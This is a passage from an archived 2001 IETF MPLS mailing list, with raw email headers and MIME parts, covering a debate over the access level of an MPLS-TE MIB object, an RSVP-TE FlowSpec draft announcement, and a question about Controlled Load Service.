    table </FONT><BR><FONT size=3D2>&nbsp;the Local protection is =
defined=20
    as</FONT> </P>
    <P><FONT size=3D2>mplsTunnelLocalProtectInUse&nbsp; =
OBJECT-TYPE</FONT>=20
    <BR><FONT size=3D2>&nbsp;&nbsp;=20
    SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TruthValue</FONT> =
<BR><FONT=20
    size=3D2>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; =
read-create</FONT>=20
    <BR><FONT size=3D2>&nbsp;&nbsp;=20
    STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT> =
<BR><FONT=20
    size=3D2>&nbsp;&nbsp; DESCRIPTION</FONT> <BR><FONT=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Indicates that =
the local=20
    repair mechanism is in use</FONT> <BR><FONT=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
maintain=20
    this tunnel (usually in the face of an</FONT> <BR><FONT=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
outage of the=20
    link it was previously routed over)."</FONT> <BR><FONT =
size=3D2>&nbsp;&nbsp;=20
    ::=3D { mplsTunnelEntry 15 }</FONT> </P>
    <P><FONT size=3D2>&nbsp;Shouldn't this be read-only variable as the =
fast=20
    reroute is enabled only </FONT><BR><FONT size=3D2>&nbsp;when the =
link is=20
    failed and the local protection is in use flag will be set?</FONT> =
</P>
    <P><FONT size=3D2>&nbsp;</FONT> <BR><FONT size=3D2>Ashwin</FONT>=20
</P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15601.F6C22840--


From owner-mpls@UU.NET  Tue Oct 16 04:14:27 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07270
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 04:14:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyq27703;
	Tue, 16 Oct 2001 08:13:27 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyq22899
	for mpls-outgoing; Tue, 16 Oct 2001 08:13:16 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkyq22892
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 08:13:13 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkyq14226
	for <mpls@UU.NET>; Tue, 16 Oct 2001 08:12:17 GMT
Received: from albatross-ext.wise.edt.ericsson.se by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	id QQlkyq26078
	for <mpls@UU.NET>; Tue, 16 Oct 2001 08:12:32 GMT
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f9G8CCL24715
	for <mpls@UU.NET>; Tue, 16 Oct 2001 10:12:12 +0200 (MEST)
Received: FROM esealnt743.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Oct 16 10:12:11 2001 +0200
Received: by ESEALNT743.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TJF6GJ1D>; Tue, 16 Oct 2001 10:12:01 +0200
Message-ID: <B3BD65546DECD4118B280002A52CEBF403147B44@eitrmnt105.tei.ericsson.se>
From: "Roberto Mameli (ERI)" <Roberto.Mameli@eri.ericsson.se>
To: "Lista CCAMP (E-mail)" <ccamp@ops.ietf.org>,
        "Lista Mpls (E-mail)"
	 <mpls@UU.NET>,
        "Lista TE-WG (E-mail)" <te-wg@ops.ietf.org>
Cc: "Paola Iovanna (ERI)" <Paola.Iovanna@eri.ericsson.se>,
        "Roberto Mameli (ERI)" <Roberto.Mameli@eri.ericsson.se>,
        "Giovanna Piantanida (ERI)" <Giovanna.Piantanida@eri.ericsson.se>,
        "Stefano Salsano (E-mail)" <salsano@coritel.it>
Subject: Submission of draft-iovanna-rsvp-mpls-flowspec-00.txt
Date: Tue, 16 Oct 2001 10:11:51 +0200
X-MS-TNEF-Correlator: <B3BD65546DECD4118B280002A52CEBF403147B44@eitrmnt105.tei.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C1561A.358EBD50"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C1561A.358EBD50
Content-Type: text/plain;
	charset="iso-8859-1"

Hello all,

a new Internet-Draft is available from the on-line Internet-Drafts directories (http://www.ietf.org/internet-drafts/draft-iovanna-rsvp-mpls-flowspec-00.txt).

	Title		: Definition of the MPLS FlowSpec for RSVP-TE
	Author(s)	: P. Iovanna, R. Mameli, G. Piantanida, S. Salsano
	Filename	: draft-iovanna-rsvp-mpls-flowspec-00.txt
	Pages		: 12
	Date		: 15-Oct-01

The abstract is reported below. Of course comments and suggestions are welcome.

Regards
The authors


Abstract	
The support of QoS Differentiation in MPLS is based on the definition of 
two types of LSP, respectively E-LSP and L-LSP (see [11]). Both E-LSP 
and L-LSP can be established with bandwidth reservation. In this case 
bandwidth requirements for the LSP must be signaled at LSP establishment 
time, in order to perform admission control in the LSRs in the path. If 
RSVP-TE is used as setup protocol, it has to support the signaling of 
bandwidth requirements for the LSPs. In this document we extend the 
RSVP-TE capability by defining a new type of Sender_Tspec (and 
FlowSpec), explicitly designed to allow signaling of bandwidth 
requirements for E-LSP and L-LSP set up. This new type, called MPLS 
Sender_Tspec (MPLS FlowSpec), can include bandwidth requirements for 
different classes inside the LSP.


------_=_NextPart_000_01C1561A.358EBD50
Content-Type: application/ms-tnef
Content-Transfer-Encoding: base64

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
vZR7HZPDwgYR1a4ZAAEDBOLIAAADAAlZAwAAAEAAOQBQvY41GlbBAQMA8T8JBAAAHgAxQAEAAAAI
AAAAVEVJUk1BTQADABpAAAAAAB4AMEABAAAACAAAAFRFSVJNQU0AAwAZQAAAAAADACYAAAAAAAMA
NgAAAAAAAwCAEP////8CAUcAAQAAADsAAABjPVNFO2E9NDAwbmV0O3A9ZXJpY3Nzb247bD1FSVRS
TU5UMTA1LTAxMTAxNjA4MTE1MVotMTY2NDUzAAACAfk/AQAAAEgAAAAAAAAA3KdAyMBCEBq0uQgA
Ky/hggEAAAAAAAAAL089RVJJQ1NTT04vT1U9RVUxL0NOPVJFQ0lQSUVOVFMvQ049VEVJUk1BTQAe
APg/AQAAABUAAABSb2JlcnRvIE1hbWVsaSAoVEVJKQAAAAAeADhAAQAAAAgAAABURUlSTUFNAAIB
+z8BAAAASAAAAAAAAADcp0DIwEIQGrS5CAArL+GCAQAAAAAAAAAvTz1FUklDU1NPTi9PVT1FVTEv
Q049UkVDSVBJRU5UUy9DTj1URUlSTUFNAB4A+j8BAAAAFQAAAFJvYmVydG8gTWFtZWxpIChURUkp
AAAAAB4AOUABAAAACAAAAFRFSVJNQU0AQAAHMPqWdDUaVsEBQAAIMNzPcTsaVsEBHgA9AAEAAAAB
AAAAAAAAAB4AHQ4BAAAANgAAAFN1Ym1pc3Npb24gb2YgZHJhZnQtaW92YW5uYS1yc3ZwLW1wbHMt
Zmxvd3NwZWMtMDAudHh0AAAAHgA1EAEAAABGAAAAPEIzQkQ2NTU0NkRFQ0Q0MTE4QjI4MDAwMkE1
MkNFQkY0MDMxNDdCNDRAZWl0cm1udDEwNS50ZWkuZXJpY3Nzb24uc2U+AAAACwApAAAAAAALACMA
AAAAAAMABhBGMwa3AwAHECEEAAADABAQAAAAAAMAERABAAAAHgAIEAEAAABlAAAASEVMTE9BTEws
QU5FV0lOVEVSTkVULURSQUZUSVNBVkFJTEFCTEVGUk9NVEhFT04tTElORUlOVEVSTkVULURSQUZU
U0RJUkVDVE9SSUVTKEhUVFA6Ly9XV1dJRVRGT1JHL0lOVAAAAAACAX8AAQAAAEYAAAA8QjNCRDY1
NTQ2REVDRDQxMThCMjgwMDAyQTUyQ0VCRjQwMzE0N0I0NEBlaXRybW50MTA1LnRlaS5lcmljc3Nv
bi5zZT4AAABRTw==

------_=_NextPart_000_01C1561A.358EBD50--


From owner-mpls@UU.NET  Tue Oct 16 05:49:01 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08324
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 05:49:01 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyx05450;
	Tue, 16 Oct 2001 09:48:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyx19552
	for mpls-outgoing; Tue, 16 Oct 2001 09:47:53 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkyx19547
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 09:47:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkyx01057
	for <mpls@UU.NET>; Tue, 16 Oct 2001 09:47:31 GMT
Received: from grex.cyberspace.org by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: grex.cyberspace.org [216.93.104.34])
	id QQlkyx09013
	for <mpls@UU.NET>; Tue, 16 Oct 2001 09:47:47 GMT
Received: from localhost (hemant@localhost) by grex.cyberspace.org (8.6.13/8.6.12) with SMTP id FAA16055; Tue, 16 Oct 2001 05:48:03 -0400
Date: Tue, 16 Oct 2001 05:48:02 -0400 (EDT)
From: "Hemant P. Kelkar" <hemant@cyberspace.org>
To: mpls-ops@mplsrc.com
cc: mpls@UU.NET
Subject: CLS
Message-ID: <Pine.SUN.3.96.1011016054634.15898A-100000@grex.cyberspace.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi !
I need to ask few basic doubts.

1. How is Controlled load service (CLS) different from ABR ?
2. Which are the user applications of CLS ?
3. If CLS provides approximately the same QoS under heavy loads as under
light loads,why isn't it referred in guaranteed service category ?
4. How does MPLS implement CLS ?
 
Regards,
Hemant



From owner-mpls@UU.NET  Tue Oct 16 06:07:29 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08466
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 06:07:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyy17087;
	Tue, 16 Oct 2001 10:06:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyy07232
	for mpls-outgoing; Tue, 16 Oct 2001 10:06:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkyy06602
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 10:05:59 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkyy17206
	for <mpls@UU.NET>; Tue, 16 Oct 2001 10:05:41 GMT
Received: from multitech.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkyy06184
	for <mpls@UU.NET>; Tue, 16 Oct 2001 10:05:53 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9GA4rO17355;
	Tue, 16 Oct 2001 15:34:54 +0530
Message-ID: <003c01c1562a$d3589e60$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>, <mpls-ops@mplsrc.com>,
        <mpls@UU.NET>
References: <751B6DD7A243D511AB9F0002557C568701227456@HUAWEIMAIL>
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt MIB
Date: Tue, 16 Oct 2001 15:40:47 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0039_01C15658.ECCDB6E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0039_01C15658.ECCDB6E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Doubt in draft-ietf-mpls-te-mib-07.txt MIBAshwin,
           Yes,I see your point.
            The tunnel session attribute's containing the fast reroute =
bit is seemingly right.
            The mplsTunnelLocalProtectInUse can be set by the signaling =
protocol or the link management module
            when either of them,whichever faster(usually the Link =
Management),detect a link failure or a node failure.
            Hence read-create.
            Regards,
            Abhay     =20
  ----- Original Message -----=20
  From: Ashwin C. Prabhu=20
  To: abhay ; mpls-ops@mplsrc.com ; mpls@UU.NET=20
  Sent: Tuesday, October 16, 2001 10:48 AM
  Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt MIB



  Hello Abhay
  =20
       Thanks for your reply.
     =20
       But still i am not clear.
  =20
      There is one more entry in the tunnel table. fastReroute under the =
mplsTunnelSessionAttributes=20
      as follows
   =20
  =
-------------------------------------------------------------------------=
----------------------------------------------------------------------
      mplsTunnelSessionAttributes OBJECT-TYPE
     SYNTAX      BITS {
                    fastReroute (0),
                    mergingPermitted (1),
                    isPersistent (2),
                    isPinned (3),
                    recordRoute(4)
                   }
     MAX-ACCESS    read-create
     STATUS        current
     DESCRIPTION
          "This bitmask indicates optional session values for
            this tunnel. The following describes these
            bitfields:
         =20
          fastRerouteThis flag indicates that the any tunnel
            hop may choose to reroute this tunnel without
            tearing it down.  This flag permits transit routers
            to use a local repair mechanism which may result in
            violation of the explicit routing of this tunnel.
            When a fault is detected on an adjacent downstream
            link or node, a transit router can reroute traffic
            for fast service restoration.
         =20
     REFERENCE
          "1. RSVP-TE: Extensions to RSVP for LSP Tunnels,
            Awduche et al, Internet Draft <draft-ietf-mpls-rsvp-
            lsp-tunnel-07.txt>, August 2000."
     DEFVAL        { 0 }
     ::=3D { mplsTunnelEntry 13 }
  =20
   I think the flag you were talking about is the above one and not the =
mplsTunnelLocalProtectInUse.=20
   Please tell me if i am wrong.=20
   I am still not clear about mplsTunnelLocalProtectInUse flag what it =
is ment for ? According to my=20
   understanding this flag shold be set only when the local protection =
is in use ? And if this is what is=20
   the purpose then it should be read-only and not read-create.
  =20
  Best Regds,
  Ashwin
  =20
    -----Original Message-----
    From: abhay [mailto:abhay@multitech.co.in]
    Sent: Tuesday, October 16, 2001 9:48 AM
    To: Ashwin C. Prabhu; mpls-ops@mplsrc.com; mpls@UU.NET
    Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt MIB


    Ashwin,
               mplsTunnelLocalProtectInUse,is usually used by the =
administrator to view if the primary path is protected.

              1) When we enable a primary path to have disjoint local =
protection path,the primary path has its mplsTunnelLocal
               ProtectInUse filled when we create the path and not when =
the link in the path fails.

               2)It is also can be a way to telling the MPLS =
Management(ref the recent draft on MPLS Management) running on the
                  router to know that the primary path is fast-reroute =
enabled and this router if required should participate in setting up
                  local repair paths.

              That explains the read-create attribute of the variable.

              Hope this helps,
              Regards,
              Abhay
      ----- Original Message -----=20
      From: Ashwin C. Prabhu=20
      To: mpls-ops@mplsrc.com ; mpls@UU.NET=20
      Sent: Monday, October 15, 2001 7:21 PM
      Subject: Doubt in draft-ietf-mpls-te-mib-07.txt MIB




      Hello=20

       In the  draft-ietf-mpls-te-mib-07.txt tunnel table=20
       the Local protection is defined as=20

      mplsTunnelLocalProtectInUse  OBJECT-TYPE=20
         SYNTAX        TruthValue=20
         MAX-ACCESS    read-create=20
         STATUS        current=20
         DESCRIPTION=20
              "Indicates that the local repair mechanism is in use=20
                to maintain this tunnel (usually in the face of an=20
                outage of the link it was previously routed over)."=20
         ::=3D { mplsTunnelEntry 15 }=20

       Shouldn't this be read-only variable as the fast reroute is =
enabled only=20
       when the link is failed and the local protection is in use flag =
will be set?=20

       =20
      Ashwin=20


------=_NextPart_000_0039_01C15658.ECCDB6E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt MIB</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Ashwin,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;Yes,I=20
see your point.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;The=20
tunnel session attribute's containing the&nbsp;fast reroute bit is =
seemingly=20
right.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;The=20
mplsTunnelLocalProtectInUse&nbsp;can be set by the signaling protocol or =
the=20
link management module</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;when=20
either of them,whichever&nbsp;faster(usually the Link Management),detect =
a link=20
failure or a node failure.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; Hence=20
read-create.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;Regards,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;Abhay&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:Ashwinp@in.huawei.com" =
title=3DAshwinp@in.huawei.com>Ashwin C.=20
  Prabhu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:abhay@multitech.co.in" =
title=3Dabhay@multitech.co.in>abhay</A> ; <A=20
  href=3D"mailto:mpls-ops@mplsrc.com"=20
  title=3Dmpls-ops@mplsrc.com>mpls-ops@mplsrc.com</A> ; <A=20
  href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>mpls@UU.NET</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, October 16, 2001 =
10:48=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: Doubt in=20
  draft-ietf-mpls-te-mib-07.txt MIB</DIV>
  <DIV><BR></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>Hello Abhay</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp;&nbsp; Thanks for your=20
  reply.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp;&nbsp; But still i am not =

  clear.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; There is one more entry =
in the=20
  tunnel table. fastReroute under the mplsTunnelSessionAttributes=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; as =
follows</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp; </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  =
class=3D296384117-16102001>----------------------------------------------=
-------------------------------------------------------------------------=
------------------------</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; =
mplsTunnelSessionAttributes=20
  OBJECT-TYPE<BR>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BITS=20
  =
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  <STRONG><FONT color=3D#ff00ff>fastReroute=20
  =
(0),</FONT></STRONG><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  mergingPermitted=20
  =
(1),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  isPersistent=20
  =
(2),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  isPinned=20
  =
(3),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  =
recordRoute(4)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  }<BR>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; =
read-create<BR>&nbsp;&nbsp;=20
  STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
